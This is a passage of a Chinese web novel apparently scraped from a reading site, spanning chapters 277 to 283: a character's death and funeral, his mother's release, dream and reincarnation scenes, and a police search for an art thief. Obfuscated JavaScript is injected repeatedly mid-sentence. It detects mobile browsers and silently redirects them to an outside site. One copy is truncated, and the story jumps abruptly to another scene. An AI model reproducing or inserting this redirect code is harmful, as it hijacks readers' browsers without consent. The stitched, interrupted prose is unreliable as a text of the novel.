门从里面打开,一个穿着绿色手术服的医生走了出来,疲惫地摘下口罩。 秦绵绵猛地抬头。 医生看着她,轻轻地,摇了摇头。 “子弹击穿了心脏,我们……尽力了。” 轰—— 秦绵绵一瞬间觉得似乎什么都听不见了,眼前的一切都开始扭曲变形,天旋地转。 “啊——” 一声凄厉到不似人声的尖叫,划破了死寂。 是罗母。 她像是被这句话唤醒了神智,整个人猛地抽搐了一下,随即爆发出惊天动地的哭嚎。 她两眼一翻,直挺挺地向后倒了下去。 现场顿时又是一阵兵荒马乱。 就在这时,一个身材高大的中年男人气喘吁吁地从电梯里冲了出来。 竟是罗父。 罗父风尘仆仆,看起来好像是刚从京城赶来。 可惜,他来晚了。 他看到被急救的罗母,看到浑身是血、失魂落魄的秦绵绵,最后,目光落在了那间刚刚熄灭了灯的手术室上。 一种灭顶的恐慌,攫住了他。 盛意走上前,将事情的经过,言简意赅地复述了一遍。 罗父脸上的血色,以肉眼可见的速度褪尽。 他踉跄了一下,身边的人急忙扶住他。 他推开身边的人,一步步,像是踩在刀尖上,走到手术室门口,手颤抖着,推开了那扇门。 然后,他看见了。 看见了那个盖着白布,身形略略发胖的年轻人……他的儿子。 一声压抑到极致的嗬声从喉咙里挤出,罗父的身体晃了晃,也跟着软软地倒了下去。 …… 最终,罗母因涉嫌多项重罪,在清醒后,被市局的人直接带走。 罗父还没醒来,是秦绵绵送罗小胖去了殡仪馆。 她像个没有感情的木偶,办手续,签字,看着他的身体被送入冰冷的停尸柜。 从始至终,一言不发,一滴泪也没掉。 客栈的大伙们都赶来了,秦绵绵把后续的事情都交给了他们,自己转身,默默地离开。 姚祁不放心,一直跟在她身后。 两人一起回了客栈。 但秦绵绵进了门就径直走上楼,打开自己的房门,走了进去。 在姚祁想要跟进去的瞬间,“砰”地一声,门在他面前关上了。 秦绵绵没有开灯,和衣躺倒在床上,用被子将自己从头到脚蒙了起来。 窗外不知何时,下起了瓢泼大雨。 雨点噼里啪啦地打在窗户上。 黑暗中,她沉沉睡去。 枕头上,却早已湿了一大片。 第二天,罗父醒了,到了殡仪馆。 客栈众人便把罗小胖交给他,众人都赶回客栈里来看秦绵绵,他们或多或少都还有伤,但也都顾不得这些了。 罗小胖的离去,对秦绵绵的打击一定很大。 钱老先生和赵立生也都跟着来了,但大家伙回到客栈,只见到一天一夜没睡的姚祁。 姚祁告知众人,秦绵绵此刻还在睡着,已经睡了一天一夜了。 第278章 送他最后一程 叶子舟皱眉道:“掌柜的不会是又犯了那个病了吧。” 自从有了源源不尽的药,秦绵绵的那个嗜睡的毛病已经很久没犯过了。 可是今天,或许是受的刺激太大了,她的毛病又犯了。 又或者说,她沉在睡梦里,不愿意醒来。 朱七妹喃喃道:“掌柜的的病,其实只有罗小胖最了解……” 众人更都是一阵沉默。 楼上房间里,秦绵绵陷入沉睡中,正在做梦。 她不知道自己睡了多久,却做了很多很多混乱的梦。 暗无天日的大宅,黑暗的房间里,混杂着铁锈和血的腥气。 少女瘦弱的身体在泥地里翻滚,躲开野兽腥臭的巨口,手中半截断刃划过另一名囚犯的咽喉。 血溅在她脸上,温热的,她却感觉不到,一双眼睛里只有麻木的狠厉。 厮杀,永无止境的厮杀。 …… 画面一转。 空旷的医院走廊,灯光明亮得刺眼。 砰——! **呼啸而来,带着灼人的热浪。 她看见裴应见将她护在身下,看见那颗**诡异地回旋,悄无声息地穿透他正在消散的胸膛。 没有血,只有一圈涟漪,在他虚幻的身体上荡开。 他的身影,如烟般散去。 “不……” 她想尖叫,喉咙却发不出声音。 …… 场景再次切换。 **月娘一袭红衣,握着一柄寒光凛凛的**,一步步走向一个身受重伤、倚墙而坐的男人。 男人正是裴应见。 他危在旦夕,气息微弱。 她举起**,对准他的心口,狠狠刺下! 风吹起了她脸上的黑纱。 裴应见看清了她的脸,瞳孔骤然紧缩。 她也看清了。 那张脸上,分明是她自己的模样! “啊——!” 秦绵绵猛地从床上坐起。 好半晌,她才感觉到自己的呼吸。 她大口大口地喘着粗气,伸手一摸,额头和后背全是冷汗。 眼前是熟悉的客栈房间,床边还围满了人。 朱七妹、叶子舟、姚祁……大家脸上都写满了担忧。 离得最近的是李一鸣,他正在给秦绵绵做检查,见她突然醒了,连忙收起仪器。 “好耶,掌柜的你终于醒了,再不醒我们就得把你送医院了!” “大伙儿都急的不行,这不喊我来给你检查检查。” “掌柜的,你可算醒了!”朱七妹眼圈通红,声音都带了哭腔,“你都睡了一天一夜了,吓死我们了。” 秦绵绵眼神空洞,对众人的关心仿佛毫无反应。 她掀开被子就要下床,动作急切,身体却软得使不上力,一个踉跄差点摔倒。 姚祁眼疾手快地扶住了她。 “你要去哪儿?” “殡仪馆。”她的声音沙哑得厉害,像是被砂纸磨过。 她睡了一天一夜,算算时间,罗父也应该给罗小胖下葬了。 她得去送他最后一程。 “你现在状态很差,”姚祁皱眉,“等……” “我要去。”秦绵绵抬头,目光扫过众人,语气不容置喙,“送他最后一程。” 众人看着她苍白如纸的脸,和那双没了半分神采的眼睛,再也说不出一个“不”字。 …… 殡仪馆的告别厅,气氛肃穆而压抑。 罗小胖安静地躺在鲜花丛中,脸上的神情很安详,仿佛只是睡着了。 秦绵绵站在那里,静静地看着他,脑海中不受控制地浮现出许多画面。 她想起了初见他的时候。 那时她刚被姜家扫地出门,被认定是鸠占鹊巢的假千金,狼狈地回到外婆留下的这间破旧客栈。 为了生计,她跟景区主任赵立生赊账,在客栈里搞了个小超市,兼营汉服租赁。 罗小胖当时就在景区里摆摊,卖些真假难辨的古玩。 景区没什么人,他生意惨淡,每天最爱干的事,就是晃到她的小超市门口,吊儿郎当地倚着门框,有一搭没一搭地跟她说话。 她还记得他第一次进店,油嘴滑舌地问:“老板娘,你这汉服……租一次包不包括老板娘陪游啊?” 嘴欠的让人想打他。 但后来,知道了她的处境,他再没开过这种玩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15867505|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑。 只是每天依旧来,有时顺手帮她搬箱水,有时在她忙不过来时帮着看会儿店,嘴上却说着“闲着也是闲着”。 她性子冷,他脸皮厚。 两人就这么不咸不淡地处着,慢慢成了朋友。 再后来,她遇到了从大雍来的裴应见,是罗小胖帮她把那些来历不明的古董一件件变成钱。 客栈扩大规模,重新开张,他二话不说,卷起袖子就钻进了后厨,成了她最信赖的大厨。 后来他们又一起经历了很多,开心的,危险的……他是客栈的一员,也慢慢成了她的家人。 往事一幕幕,清晰得仿佛就在昨天。 但是今天,他走了。 旁边的朱七妹搂着朱小宝已经泣不成声,叶子雯岑小柔也都在偷偷抹泪。 叶子舟和几个男人却沉默地站着,眼眶泛红。 姚祁不知何时出去了,站在门外的廊下,点燃了一支烟,猩红的火点在阴沉的天色里明灭。 叶子舟看着罗小胖的遗像,声音很平: “以后……再也吃不到他做的红烧肉了。” 一句话,像是一把钥匙,瞬间打开了水龙头。 朱七妹等人哭得更厉害了。 工作人员开始请家属和亲友做最后的告别。 罗父在前领头,众人跟在后面,排着队看了罗小胖最后一眼。 然后他的遗体被送去了火化间。 秦绵绵看着那扇即将关上的门,想起了他最后扑出去的样子,想起了他倒在血泊里时瞪大的眼睛。 他最后也许是有话想对她说的,只是最终他没说出来。 火化间的大门终于关闭,罗小胖就这样,和他们永别了。 秦绵绵始终没有掉一滴泪,只是觉得心脏的位置,空了一大块,有冷风呼呼地往里灌,疼得麻木。 罗父自始至终都像座沉默的山,高大的身躯因为悲痛而微微佝偻。 他没有流泪,只是那双布满血丝的眼睛,死死地盯着那扇大门,仿佛要将它看穿。 火化完毕,骨灰葬入墓地之中,仪式彻底结束,众人准备离开,秦绵绵也机械地转过身。 就在这时,一直沉默的罗父忽然开口了。 第279章 她不会有事的 “秦小姐。”罗父的脚步停下,侧身看向秦绵绵。 他整个人都笼罩在殡仪馆廊道昏暗的光线下,显得格外憔悴,眼角的皱纹比秦绵绵记忆中任何时候都要深刻。 “我后悔了。早知道会这样……我当初,就不该让他见她。” 本来也就二十年未见了。 如果罗小胖一直不曾见到罗母,或许今天这一切都不会发生。 “我错了……错了一辈子……”罗父声音低沉,充满了懊悔,“我明知道她是什么样的人,却总想着,她毕竟是小吉的妈妈,总还存着那么点念想……是我,是我害了我的儿子。” 秦绵绵停下脚步,看着这个被悔恨淹没的中年男人。 她想了想,最终还是开了口:“这不是你的错。” 她的声音很轻,很平静,在这压抑的空气里,却有种奇异的穿透力。 “也不是他的错。”秦绵绵抬起眼,看向罗父,“一个孩子想要妈妈的爱,这天经地义,他没有错。” 罗父的身体猛地一震,他怔怔地看着秦绵绵。 许久,他重重地点了下头,眼中的悲恸和悔恨,渐渐沉淀为钢铁般的坚硬。 “你放心。”他一字一顿,像是在宣誓,“这个案子,我会亲自跟进。公事公办……我绝不会再放过她。” 罗父走了,客栈众人也踏上了回去的路。 车里的气氛依旧沉闷得让人喘不过气。 朱七妹抱着已经睡着的朱小宝一言不发,叶子雯一边抹泪一边愤愤不平地开口:“虎毒还不食子呢!她亲手害**自己的儿子,证据确凿,这回总该判刑了吧!” “对!”岑小柔也跟着附和,“这种人,就该让她偿命!” 车厢里,所有人都怀着这样朴素而又理所当然的期待。 这似乎是唯一能告慰罗小胖在天之灵的方式。 然而坐在副驾驶的姚祁,却发出了一声极轻的冷哼。 这声哼笑在死寂的车厢里,显得格外刺耳。 叶子舟皱眉看他:“你笑什么?” 姚祁没有回头,只是看着窗外飞速**的灰色建筑,语气凉得像冰。 “你们太天真了。”他淡淡地道,“她不会有事的。” “怎么可能!”叶子雯立刻反驳,“那么多双眼睛看着呢!他们都看见了!她杀了人!” “**?”姚祁的嘴角勾起一抹讥诮,“在某些人眼里,她的研究,比一条人命,甚至比十条人命都重要得多。” 他转过头,扫了一眼车里众人错愕不解的脸,继续道: “她背后有个庞大的秘密研究项目,有数不清的资源在支持她。她是那个项目的核心人物,是不可替代的资产。你们以为,上面会为了一个意外死去的儿子,毁掉他们几十年的心血和投入?” 车厢里,瞬间鸦雀无声。 刚刚才燃起的那点对正义的期盼,被他这几句冰冷的话,浇得干干净净。 所有人都感到一股寒意从心底升起,那是一种面对庞然大物时的无力与绝望。 果然,现实比姚祁预料的,还要更荒诞。 没过几天,消息就传来了。 罗母被释放了。 不是保释,而是无罪释放。 理由是精神状况不稳定下的过失行为,且证据链存在争议。 和她一同被放出来的,还有之前被捕的萧玦。 市局门口。 一辆黑色的轿车,无声地停在路边。 罗母面无血色地从大门里走出来,神情恍惚。 一辆轮椅跟在她的后面,也慢慢走出大门,径直向轿车走去。 萧玦进去的时间比罗母要久,但此时此刻他非但没有形容狼狈,反而整个人都十分得体,像是要去某处参加宴会一般。 萧玦忽然停下轮椅,神情冷漠地看向罗母,满眼的冰冷和厌恶。 半晌,薄唇轻启,吐出两个字。 “蠢货。” 两个字像一根针,扎在罗母耳边。 她却毫无反应,仿佛没听见。 她空洞的目光越过萧玦,落在川流不息的马路上。 她像是丢了魂的游魂,径直走向路边,伸手拦下了一辆出租车。 萧玦看着她拉开车门,报出一个地名,然后车子汇入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15867506|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 车流,消失不见。 他嘴角的弧度愈发冰冷,那是一种看透了棋子愚蠢行径后的极度轻蔑。 原本,这一切都是他和罗母的算计。 他和她联手做局,引秦绵绵等人入套,一个唱红脸,一个唱白脸。 他负责威逼,她负责在关键时刻相救,以此骗取秦绵绵等人的信任。 多好的计划。 却被这个女人亲手葬送,甚至还搭上了她那个蠢儿子。 “萧先生,我们该走了。”身后有人低声提醒。 萧玦收回目光,眼底的厌恶被漠然取代。 “走吧。”他淡淡地道。 他被放出来的条件之一,就是即刻离开海城,回京城去。 黑色的轿车平稳地驶离,不多时,就发现后面不远不近地缀着一辆不起眼的车。 然而,在经过一个复杂的立交桥后,黑色轿车忽然不见了踪迹,再出现时,已经甩掉了身后的尾巴,调转方向,消失在了城市的另一端。 车中,萧玦冷笑不已。 他的事还没做完,绝对不会离开海城。 任何人,都不能阻挡他拿到自己想要的东西! …… 海城西郊墓园。 天色阴沉得像是要塌下来,风里带着潮湿的腥气。 罗母付了钱下车,脚步虚浮地往里走。 她一眼就看到了那个身影,像一座沉默的石碑,伫立在一块崭新的墓碑前。 是罗父。 他似乎在这里站了很久,高大的身躯因为悲恸而微微佝偻,鬓角不知何时,已染上了霜白。 罗母的脚步顿了一下,然后加快了速度,朝着那个方向走去。 就在她离墓碑只有几步之遥时,罗父动了。他没有回头,只是平静地、决绝地,横跨一步,挡住了她的去路。 “你来做什么?”他的声音沙哑得厉害。 罗母看着被他挡住的,那张墓碑上带着笑意的照片,心脏像是被一只手攥紧,呼吸都变得困难。 “我……我看看他。”她嘴唇哆嗦着,露出一副哀戚的神情,“你让我看看他……” 第280章 他走了 罗父的脸上没有丝毫动容。 “他不想见你。” “我是他妈妈!”罗母那副楚楚可怜的面具瞬间碎裂,露出狰狞的底色,“你给我让开!你有什么资格拦着我?!” 罗父依旧没有动,只是那双布满血丝的眼睛,疲惫地看着她,像是在看一个陌生人,又像是在看一场演了几十年的、令人作呕的滑稽戏。 他这副油盐不进的样子,让罗母心里的焦躁和恐慌烧到了顶点。 她忽然又软了下来,上前一步,伸手想去拉罗父的胳膊,声音也变得柔腻,带着哭腔。 “我们……我们别这样好不好?小吉是我们的儿子啊……他走了,我心里也痛……你让我过去,让我跟他说说话……” 她眼中含着泪,那张保养得宜的脸上写满了悔恨与悲痛。 尽管已经年华不再,但她依然很美。 就像当年初见时一样,美的惊心动魄。 美人垂泪,这种场面,若是从前,罗父早就心软了。 可现在,他只是静静地看着她表演。 看着这张他曾深爱过,又怨恨过的脸,看着她熟练地切换着每一副面孔。 他忽然觉得,自己这一辈子,真是错得离谱。 “……我不想再看你这套了。”他低声说着,忽而咬了咬牙。 啪! 一声清脆的耳光,响彻在寂静的墓园里。 罗母被打得一个踉跄,捂着脸,难以置信地看着他。 罗父的手在半空中微微颤抖。 他看着她错愕的脸,看着那张熟悉的、让他爱了一辈子,也错了一辈子的脸,两行滚烫的泪,终于从那双疲惫不堪的眼中,滑落下来。 罗母也愣住了。 她看着这个一向坚毅如山的男人在她面前落泪,她也跟着毫无预兆地泪如雨下。 然而,就在罗父愣神的时候,罗母却趁着他心神动摇的一瞬,猛地从他身边绕了过去,扑到了那块冰冷的墓碑前。 “小吉……” 她伸出手,指尖颤抖着,抚上照片里儿子那张胖乎乎的、永远在笑着的脸。 哗啦啦—— 天空像是再也支撑不住,瓢泼的大雨,倾盆而下。 冰冷的雨水瞬间将两人浇得湿透。 罗父没有动,任由雨水冲刷着脸上的泪痕。 罗母跪在墓碑前,起初是无声的啜泣,渐渐地,变成了压抑不住的、撕心裂肺的哀嚎。 墓碑上,罗小胖依旧咧着嘴,笑得没心没肺,安静地看着眼前这一切。 …… 大雨一直下到了第二天,丝毫没有要停歇的意思。 雨水冲刷着海城的大街小巷,也给客栈蒙上了一层化不开的阴翳。 客栈门上挂着“暂停营业”的牌子,大堂里空空荡荡,往日的热闹喧嚣仿佛是上辈子的事。 朱七妹抱着小宝坐在角落上,两个女孩子陪在她身边。 几个男人闷头发着呆,谁也不说话。 整个客栈,都浸在一片死气沉沉的愁云惨雾里。 楼上,秦绵绵的房间。 没有开灯,房间里昏暗得如同黄昏。 秦绵绵独自一人,盘腿坐在地毯上,面前摊开着一个木箱。 箱子是她从客栈后面的库房拿来的,那库房原本是罗小胖的产业,他自愿给了她,让她充作库房。 他原本还说这是他家里留下来的产业,后来才证实他说了假话,这其实是他自己买下来的。 而他本人,其实是京城警察世家的大公子。 他的父亲是省厅刑侦骨干,母亲是行踪神秘的科学家。 而她认识他的时候,他却在摆摊卖假古董。 她拿起一件青白瓷的笔洗,指腹轻轻摩挲着上面冰凉细腻的釉面。 她想起第一次看到这东西的时候,嘲讽他都是从哪个犄角旮旯淘来的破烂玩意儿。 可他却把这些东西当宝贝。 得知秦绵绵会鉴宝之后,更是屁颠屁颠地拿了自己的宝贝们来请她鉴赏。 结果更被秦绵绵一顿羞辱。 这件,底款不对,仿的。 这件,釉色有贼光,做旧的。 罗小胖也不恼,就乐呵呵笑着看她点评。 哪怕都是些假货,或者干脆被人坑了,他似乎也并不觉得有什么。 他一向活力满满,对生活充满了希望。 也让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他读书天分极高,诗书画印无一不精,加之容貌俊朗,是这罗州城里不知多少名门闺秀的梦中人。 只可惜,天妒英才。 好不容易将养到十八岁,一场风寒,便让他病入膏肓,药石无医。 床边,几个头发花白的老大夫轮番诊脉,最终都只是颓然地站起身,对着床边一对衣着华贵的中年夫妇,沉痛地摇了摇头。 “赵老爷,赵夫人……令郎的脉象,已是油尽灯枯之相,恕我等回天乏术……” “还请……准备后事吧。” 第281章 想趁虚而入 “不——!”赵夫人闻言,眼前一黑,当场哭昏了过去。 赵老爷强撑着没有倒下,通红的眼死死盯着床上的儿子,高大的身躯摇摇欲坠。 一片撕心裂肺的哭嚎声中,谁也没有注意到,床上那个被断定已经死亡的年轻人,手指轻轻地动了一下。 紧接着,他长长的睫毛,微不可察地颤了颤。 “老爷!老爷您看!公子的手动了!”一个眼尖的小厮失声惊呼。 满屋的哭声戛然而止。 所有人的目光,都死死地钉在了床上。 在众人屏息的注视下,那个被判了**的赵小公子,缓缓地睁开了眼睛。 一屋子人先是呆滞,随即爆发出狂喜的呼喊。 “醒了!醒了!公子醒了!” 老大夫更是三步并作两步冲到床前,手指颤抖地搭上脉搏,脸上满是见了鬼的表情,嘴里喃喃自语: “不可能……这不可能……” 而床上刚刚醒来的“赵小公子”,却正茫然地看着眼前这群又哭又笑的陌生人。 他想开口,喉咙却干得发不出声音。 他最后的记忆,是**穿透胸膛的剧痛,是母亲那张扭曲又茫然的脸,是那人撕心裂肺的呼喊……然后,便是无尽的黑暗和冰冷。 他明明已经**。 可这里是哪里?这些人……又是谁? 夜深了。 狂喜的家人终于被劝走,房内只剩下他和一个看起来不过十五六岁的贴身小厮。 他在床上躺了许久,终于消化了脑中多出来的一些零碎记忆,也积攒了一点力气。 “你……过来。”他开口,声音沙哑虚弱,完全不是自己熟悉的那副嗓音。 小厮连忙凑到床前,满脸关切:“公子,您有什么吩咐?” “赵小公子”看着他,黑沉沉的眼珠动了动,问道:“现在……是何时何地?” 小厮愣了一下,以为自家公子烧糊涂了,但还是恭敬地答道: “回公子,您在咱们赵家大宅内呀。赵家是咱这大雍南边罗州城首富……如今是昭德十三年的秋天……” 大雍…… 昭德十三年…… 这几个字,像一道惊雷,在他脑海中轰然炸开。 …… 死寂的客栈大堂里,连绵的雨声成了唯一的背景音。 忽然一阵急促的手机铃声,划破了这层厚重的寂静。 所有人都下意识地看过去。 是秦绵绵的手机。 它就放在柜台上,屏幕亮着,上面跳动着两个字——四叔。 叶子舟正想拿着手机送上楼去,秦绵绵忽然从楼上下来了。 她换了一身干净的衣服,头发随意地挽在脑后,脸色略有苍白,那双深邃的眸子,此刻沉寂得像一口深井,不起半点波澜。 她拿起手机,划开接听。 “喂,四叔。” “绵绵。”电话那头,姜敬意的声音格外的温和沉稳,“我都听说了……你还好吗?” 秦绵绵走到窗边,看着外面被雨水冲刷得模模糊糊的世界,嗯了一声。 “发生的事,我都知道了。”姜敬意顿了顿,语气里多了一丝凝重,“包括罗小胖和他……母亲的事。” 秦绵绵沉默着,没有接话。 她知道,以四叔的人脉,知道这些并不奇怪。 “裴应见呢?听说他也出事了,你跟我详细说说?” 提到这个名字,秦绵绵的心脏像是被一只无形的手攥了一下,密密麻麻的疼。 她想起他离开时,胸口绽开的那朵血花,那颗**,精准地穿过了他的胸膛。 在大雍那种地方,这样的伤,能救回来吗? 更何况,他是在穿越时空的一瞬间中的弹,谁也不知道,这会不会带来什么无法预料的变故。 听到姜敬意如此说,秦绵绵便把当时的情形告知了他。 谁知姜敬意沉默了一瞬,忽然道: “好了,我知道了,这件事你别管了。我自有办法。” 秦绵绵愣了愣。 “四叔有什么办法?” 难道他还能到古代去找裴应见不成? 姜敬意却一笑。 “罗母确实有实力,她背后那个项目,牵扯甚广,水深得很。” “这个项目不是她一个人撑起来的。这世上,能人异士多的是,比她厉害的研究人员,也不是没有。” “研究这个项目的人,国内 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15874038|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外多得是……且等着看你四叔的手段吧。” 挂了电话,秦绵绵还有些愣怔。 她四叔真的这么厉害,可以找到能破解这件事的人? …… 几天后。 雨过天晴,青海湖影视城项目正式落成。 剪彩仪式上,秦绵绵一身干练的黑色西装,长发束成高马尾,脸上画着精致的淡妆,唇角带着得体的微笑,看不出丝毫异样。 姚祁站在她身边,低声报告着到场的重要嘉宾。 房小雪介绍来的几个大导演和制片人也悉数到场,秦绵绵游刃有余地穿梭在人群中,与他们寒暄、洽谈,举手投足间,是利落而精明的商人模样。 仿佛前些日子的阴霾,已经彻底烟消云散。 夜深。 秦绵绵房间的灯还亮着。 秦绵绵坐在桌边,低头审阅着一份份合作意向书。 门被轻轻敲响,姚祁端着一碗冒着沁凉的甜汤走了进来。 “还在忙?喝点东西,休息一下。” 他将白瓷碗放在她手边,是一碗清甜的银耳雪梨羹。 秦绵绵放下笔,捏了捏眉心,端起碗尝了一口。 甜味在舌尖化开,凉意顺着喉咙滑进胃里,很舒服。 一瞬间,她想起了罗小胖,曾经他也喜欢做些小吃逗她开心,她最喜欢他做的红豆沙。 那个家伙总能把最寻常的食材,做出让人窝心的味道…… 她没把这话说出口,只是抬眼对姚祁笑了笑:“好吃,你这手艺见长啊。” 姚祁看着她,灯光在她脸上投下浅浅的阴影,那双眼睛很亮,却像隔着一层雾。 他张了张嘴,似乎想说什么,最后却只是化作一声几不可闻的叹息。 “想说什么?”秦绵绵何其敏锐,捕捉到了他一闪而过的欲言又止。 姚祁看着她,心头涌上一股冲动。 他想说,别硬撑了,你还有我。 他想说,罗小胖不在了,我可以学着做红豆沙。 他甚至想,裴应见或许回不来了,干脆就趁着这个机会趁虚而入,把她揉进怀里,让她依靠自己…… 可对上她那双清凌凌的眼睛,所有的话,都堵在了喉咙里。 第282章 飞天大盗 秦绵绵看着他这副纠结的样子,反倒笑了。 那笑容不再是白日里应酬时的客套,而是发自内心的,带着几分释然的轻松。 “我没事。”她郑重地看着他,一字一句,“这点事,还打不倒我。姚祁,你可别小看我。” 姚祁一怔,随即也跟着苦笑了一下。 是啊,他怎么忘了。她是谁?她是秦绵绵。 他点点头,收起眼中复杂的情绪,轻声道:“嗯,不小看你。那……早点休息。” “好。” 姚祁退了出去,轻轻带上了门。 房间里又恢复了安静。 秦绵绵脸上的笑意慢慢敛去,她转头看向窗外漆黑的夜空,眼神悠远。 她没事。 她只是,很想他们。 …… 第二天。 叶子舟拿着份文件敲开了秦绵绵的门。 “楼盘的预售数据报告出来了。”他将报告递过去,眉宇间带着压不住的兴奋,“项目还有半个月就能彻底收尾交房,提前预售的这一个多月,效果出奇的好。虽然咱们项目体量不算大,但紧邻景区和影视城,价格也实在,再加上你和钱老先生的名气……总之,相当不错。” 秦绵绵接过报告,逐行看过,原本沉静的脸上,终于浮现出淡淡的笑意。 那不是应酬时的客套,而是发自内心的赞许。 “大家辛苦了。”她合上报告,看向叶子舟,“这个月,所有人工资上浮百分之三十,算奖金。今天晚上我请客,找个好地方搓一顿。” 叶子舟眼睛亮了,用力点头:“好嘞!我这就去告诉他们,保证一个个都乐疯了!” 消息传到大堂,客栈里沉寂了数日的空气,总算被这桩喜事冲开道口子,透进了些许活泛气。 众人七嘴八舌地讨论着晚上去哪儿庆祝。 朱小宝从妈妈怀里探出小脑袋,仰着脸,用清脆的童音大声问:“是去吃火锅吗?!” 一瞬间,叽叽喳喳的议论声,戛然而止。 整个大堂,安静得能听见窗外风吹过树叶的沙沙声。 所有人的目光,都下意识地僵住了。 火锅…… 曾是罗小胖的最爱,也是他最拿手的手艺。 他总能变着法子熬出滋味奇绝的锅底,然后看着大家伙吃得满头大汗,自己在一旁咧着嘴傻笑。 朱七妹的脸色刷地白了,她抓住儿子的胳膊,压低了声音:“小宝!不许胡说!” 朱小宝被吓得缩了缩脖子,眼圈瞬间就红了。 大堂里的气氛,比之前更加凝滞,尴尬与悲伤重新笼罩下来。 “去吃烧烤吧。” 秦绵绵不知何时从楼上走了下来,声音平静地打破了僵局。 她走到朱小宝面前,蹲下身,替他理了理有点乱的衣领,嘴角噙着温和的笑意:“现在天气还热,吃火锅容易上火。我们去吃烧烤,好不好?” 朱七妹看着她,嘴唇动了动,终究没说出话。 众人也都没说话,只是在心底低低叹息一声。 …… 为了让客栈彻底从阴霾里走出来,赵立生绞尽脑汁,联合景区搞了场“青海湖民俗文化节”的活动。 请了民俗艺人表演,摆了长长的非遗小吃街,还办了场汉服游园会。 活动办了几天,景区竟又爆红,不过一天时间便人潮汹涌,客栈自然也跟着忙得脚不沾地。 这天下午,客栈里外都挤满了游客。 就在这片喧嚣热闹中,刺耳的警笛声忽然由远及近,停在了客栈门口。 几名身穿制服的警察推开门,径直走了进来。 为首的,正是市局的老熟人,张队。 他锐利的目光在嘈杂的大堂里迅速扫过,精准地锁定了正在柜台后忙碌的秦绵绵。 张队领着人,穿过拥挤的人群,快步走到她面前。 “秦小姐。”他神情严肃,没有半句寒暄,开门见山地问,“打扰了,问你件事。” 秦绵绵停下手里的活,挑眉看他。 “张队请说。” “我找个人。”张队从口袋里掏出手机,点开一张照片,递到她眼前。 “这几天,有没有见过这个女人在客栈住过?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15874039|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 照片上的女人,长相明媚,美得极具攻击性。 一双上挑的凤眼,配着饱满的红唇,即便只是静止的画面,也透着一股活色生香的张扬。 秦绵绵的目光在照片上停留了片刻。 这段日子,影视城项目收尾,客栈里里外外全靠叶子舟和姚祁他们撑着,她确实没怎么留意过新来的住客。 她摇了摇头:“没印象。” 说完,她抬高了些声音,朝着大堂里喊道:“子舟,子雯,七妹,你们都过来一下。” 客栈众人闻声聚拢过来,看到警察,神情都有些拘谨。 “张队,这是出了什么事?”秦绵绵一边示意大家看照片,一边低声问了一句。 张队之前跟着下来的罗父办过案子,很受罗父赏识,并且还被罗父举荐了,不久就要升迁。 罗小胖的事情他也有所耳闻,再加上几次三番跟秦绵绵他们打交道,因此跟秦绵绵很是熟稔。 张队看了一眼周围嘈杂的环境,身子微微前倾,压低了声音: “是个大案子。” 他顿了顿,目光回到手机屏幕上,眼神变得锐利如鹰。 “这个女人,叫‘红隼’,是个飞天大盗。一个礼拜之前,京城博物馆失窃了一件国宝,我们一路追查,线索就断在了海城附近。” 国宝……飞天大盗…… 这几个字眼,让秦绵绵的眉心倏地蹙紧。 那边,众人正围着手机辨认。 “没见过啊,这么漂亮的女人,要是住店,我肯定有印象。” “是啊,看着不像普通游客。” 叶子舟和朱七妹都摇了摇头。 就在这时,一直盯着照片看的叶子雯,忽然“咦”了一声。 “怎么了?”姚祁立刻问她。 “我……我好像有点印象……”叶子雯不太确定地开口,“前天下午,是来了一个女客人,办入住的时候戴着墨镜和口罩,看不清脸。但是……身形和气质,跟照片里有点像。她就住了一晚,第二天一大早,天没亮就退房走了。” 张队眼神一亮:“哪个房间?带我们去查监控!” 第283章 国宝**案 一行人立刻拥进了柜台后。 姚祁熟练地调出前天的监控录像,精准地拖动时间轴。 